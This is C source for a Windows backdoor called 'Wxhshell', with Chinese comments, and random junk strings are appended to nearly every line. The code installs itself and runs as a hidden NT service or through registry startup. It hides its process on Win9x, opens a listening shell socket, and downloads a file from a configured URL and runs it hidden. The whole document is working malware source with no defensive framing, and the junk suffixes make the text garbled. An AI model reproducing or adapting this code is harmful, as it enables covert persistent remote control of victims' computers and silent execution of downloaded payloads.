DWORD BasePriority; 3+J0!FVla
ULONG UniqueProcessId; ?0_7?yTR/
ULONG InheritedFromUniqueProcessId; @\w,otT
} PROCESS_BASIC_INFORMATION; #{9G sD
bS
>0DU
PROCNTQSIP NtQueryInformationProcess; ~^^ NHq
9s}Kl($
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;pD)m/$h`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [TF8'jI0
[+w3J#K
HANDLE hProcess; Z?J:$of*
PROCESS_BASIC_INFORMATION pbi; CC;! <km
Qp2I[Ioz3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Omi^>c4G
if(NULL == hInst ) return 0; VD4C::J
D;Gq)]O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 24Z]%+b*E
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o{*ay$vA]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d bS
+
_ nP;Fx
if (!NtQueryInformationProcess) return 0; $KjTa#[RX7
o5\b'hR*#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uhV0J97
if(!hProcess) return 0; p.fF}B
E3a_8@ZB7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Lh
*m+5Pr`7
CloseHandle(hProcess); `\<37E\N}
NHw x:-RH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rVQX7l# YI
if(hProcess==NULL) return 0; Sx]
T/xq
]WJfgN4
HMODULE hMod; .Qt4&B
char procName[255]; ">dq0gD
unsigned long cbNeeded; 6Ggs JU
^TXf sQs
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &"uV~AM
/T0nLp`gi
CloseHandle(hProcess); }8'&r(cN4
C9Bh@v%90^
if(strstr(procName,"services")) return 1; // 以服务启动 AF4?IH
l{P\No
return 0; // 注册表启动 b'x$2K;E
} 2aNT#J"_
yy2Ie
// 主模块 ,7|;k2
int StartWxhshell(LPSTR lpCmdLine) i}TwOy<4s
{ h3u1K>R)
SOCKET wsl; 5 HV)[us
BOOL val=TRUE; i cUT<@0
int port=0; V7=SV:+1or
struct sockaddr_in door; NB8&
h.
hjz?
if(wscfg.ws_autoins) Install(); m8R=?U~!S
H5wb_yBQ+
port=atoi(lpCmdLine); #P2;K
dDO
wpPn}[a
if(port<=0) port=wscfg.ws_port; d-!<C7O}
j kn^Z":
WSADATA data; 1H4fJ3-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NVIWWX9?
j033%p+Xc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8IY19>4'5J
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eE:&qy^
door.sin_family = AF_INET; S0@T0y#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7h<> k*E)
door.sin_port = htons(port); X} JOX9pK
L&w.j0fq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XYbyOM VI
closesocket(wsl); HD # r0)
return 1; wODvc9p}]
} )Id2GV~2B
H 30OUrD
if(listen(wsl,2) == INVALID_SOCKET) { #n})X,ip2
closesocket(wsl); z?.(3oLT
return 1; }Zl"9A#K
} RR25Q.c
Wxhshell(wsl); -l*A
WSACleanup(); !sIwFv)
T |"`8mG
return 0; m/${8
ubGs/Vzye
} T)\NkM&
VWvoQf^+
// 以NT服务方式启动 +l\<?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fD6GQ*
{ Q-('5a19J
DWORD status = 0; P W[6/7
DWORD specificError = 0xfffffff; h`?k.{})M
-0|K,k
serviceStatus.dwServiceType = SERVICE_WIN32; B?(4f2yE
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *TnzkNN_,
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; __)qw#
serviceStatus.dwWin32ExitCode = 0; @ ^.*$E5
serviceStatus.dwServiceSpecificExitCode = 0; t .=Oj
serviceStatus.dwCheckPoint = 0; <aVfJd/fT
serviceStatus.dwWaitHint = 0;
GXeAe}T
!C`20,U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ( pD7
if (hServiceStatusHandle==0) return; /yK"t<p
p {C9`wi)
status = GetLastError(); =R9*;6?N
if (status!=NO_ERROR) C_-E4I
Z)
{ OOLe[P3J3
serviceStatus.dwCurrentState = SERVICE_STOPPED; >UN vkQ:
serviceStatus.dwCheckPoint = 0; iwo$\
serviceStatus.dwWaitHint = 0; )0|):g
serviceStatus.dwWin32ExitCode = status; on50+)uN
serviceStatus.dwServiceSpecificExitCode = specificError; kIM
C~Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `vEqj v
return; csvOg[
} F@<MT<TRf
)*HjRTF6G
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,>w}xWSYpG
serviceStatus.dwCheckPoint = 0; b7v dk
serviceStatus.dwWaitHint = 0; +2yF|/WW#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4?]ZV_BD
} vzy!3Hiw
A;t
zRe
// 处理NT服务事件,比如:启动、停止 V/&o]b
VOID WINAPI NTServiceHandler(DWORD fdwControl) %yhI;M^
{ NDW8~lkL
switch(fdwControl) `oPLl0
{ AA.Ys89V
case SERVICE_CONTROL_STOP: #^;s<YZ`
serviceStatus.dwWin32ExitCode = 0; <i7agEdZD
serviceStatus.dwCurrentState = SERVICE_STOPPED; D"`[6EN[
serviceStatus.dwCheckPoint = 0; id4]|jb
serviceStatus.dwWaitHint = 0; *I/A,#4r
{ x
Ty7lfSe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &q L<C
}
,5kvn
return; DUo0w f#D^
case SERVICE_CONTROL_PAUSE: H8sK}1.
serviceStatus.dwCurrentState = SERVICE_PAUSED; ]qMH=>pOsj
break; iA&oLu[y3
case SERVICE_CONTROL_CONTINUE: W0U`Kt&~a
serviceStatus.dwCurrentState = SERVICE_RUNNING; F/xCG nP-
break; pOX$4$VR<
case SERVICE_CONTROL_INTERROGATE: InP[yFV-z
break; EZ*t$3.T
}; I}rGx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$H|MdYIA
} L2<+#O#
7x%S](m%
// 标准应用程序主函数 xl|ghjn
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (;C$gnr.C
{ Z~:/#?/
k+f1sV[4}
// 获取操作系统版本 (y 3~[
OsIsNt=GetOsVer(); ,cPkx~w0
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0c`sb+?
8 NxUx+]
// 从命令行安装 %l%=Dkss
if(strpbrk(lpCmdLine,"iI")) Install(); >eEnQ}Y
bG"6pU
// 下载执行文件 <|B$dz?r
if(wscfg.ws_downexe) { vNPfUEnA
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g%+ql[(4
WinExec(wscfg.ws_filenam,SW_HIDE); 5Ws5X_?d
} ;A
x=]Q
sN"p5p
if(!OsIsNt) { 23)F-.C}j
// 如果时win9x,隐藏进程并且设置为注册表启动 KBd7|,j
HideProc(); 0BT;"B1
StartWxhshell(lpCmdLine); CQj/e+eE4
} M\9at\$
else H]Y#pLu|
if(StartFromService()) b=V)?"e-
// 以服务方式启动 ^6ExW>K
StartServiceCtrlDispatcher(DispatchTable); ) )fDOJ
else LQ~LB'L
// 普通方式启动 A J<iM)l|
StartWxhshell(lpCmdLine); .L~f Fns/
0@o;|N"i
return 0; X@i+&Nv"<
}